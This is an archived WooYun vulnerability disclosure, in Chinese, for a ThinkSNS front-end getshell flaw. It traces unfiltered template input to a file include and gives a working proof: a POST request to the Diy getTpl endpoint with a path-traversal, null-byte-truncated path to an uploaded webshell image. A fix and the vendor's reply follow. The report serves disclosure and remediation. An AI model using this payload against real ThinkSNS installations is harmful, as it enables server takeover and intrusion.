漏洞概要 关注数(32) 关注此漏洞
缺陷编号: WooYun-2014-79186
漏洞标题: ThinkSNS 前台getshell
相关厂商: ThinkSNS
漏洞作者: phith0n
提交时间: 2014-10-13 14:40
公开时间: 2015-01-11 14:42
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php源码审核
漏洞详情
披露状态:
2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-11: 细节向公众公开
简要描述:
XDCTF2014能顺利结束真开心,发0day凑点钱请大家吃个饭~
详细说明:
/apps/page/Lib/Action/DiyAction.class.php 330行:
getTpl函数,直接去了$_REQUEST中的三个变量,传给getTplContent函数,进去看看:
关注这三行:
list ( $dir, $file ) = explode ( ':', $tagName );
$this->fileObject = new $file ();
include $this->fileObject->getTemplateFile ( $tpl );
首先从tagName中取出dir和file,并新建一个file对象。最后调用file对象的getTemplateFile函数,将$tpl传入。最后包含之。
我们看看哪些对象有getTemplateFile方法:
这些都行,我们随便找个进去看看:
比如DiyImage:
实际上最后包含的就是:dirname(__FILE__).'/DiyImage/'.$file.'.html';
所以,我们可以通过%00截断来进行任意文件包含。
thinksns全局没用转义$_GET/$_POST/$_REQUEST,而是在相应位置调用t()函数过滤。但在这个点,并未对$_REQUEST ['tpl'];进行t()过滤,所以%00没有被转义)
漏洞证明:
注册登录,发微博处直接传webshell:
向http://localhost/thinksns/index.php?app=page&mod=Diy&act=getTpl
POST数据:
tpl=../../../../../data/upload/2014/1013/14/543b6f21ed721_100_100.gif%00&tagName=w:DiyImage&sign=
tpl处为webshell地址,使用00截断。
需要加个referer,如图:
成功getshell。
修复方案:
t($_REQUEST['tpl']);
版权声明:转载请注明来源 phith0n@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2014-10-14 09:24
厂商回复:
非常感谢,DIY模块应该只有管理员才可以操作使用。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值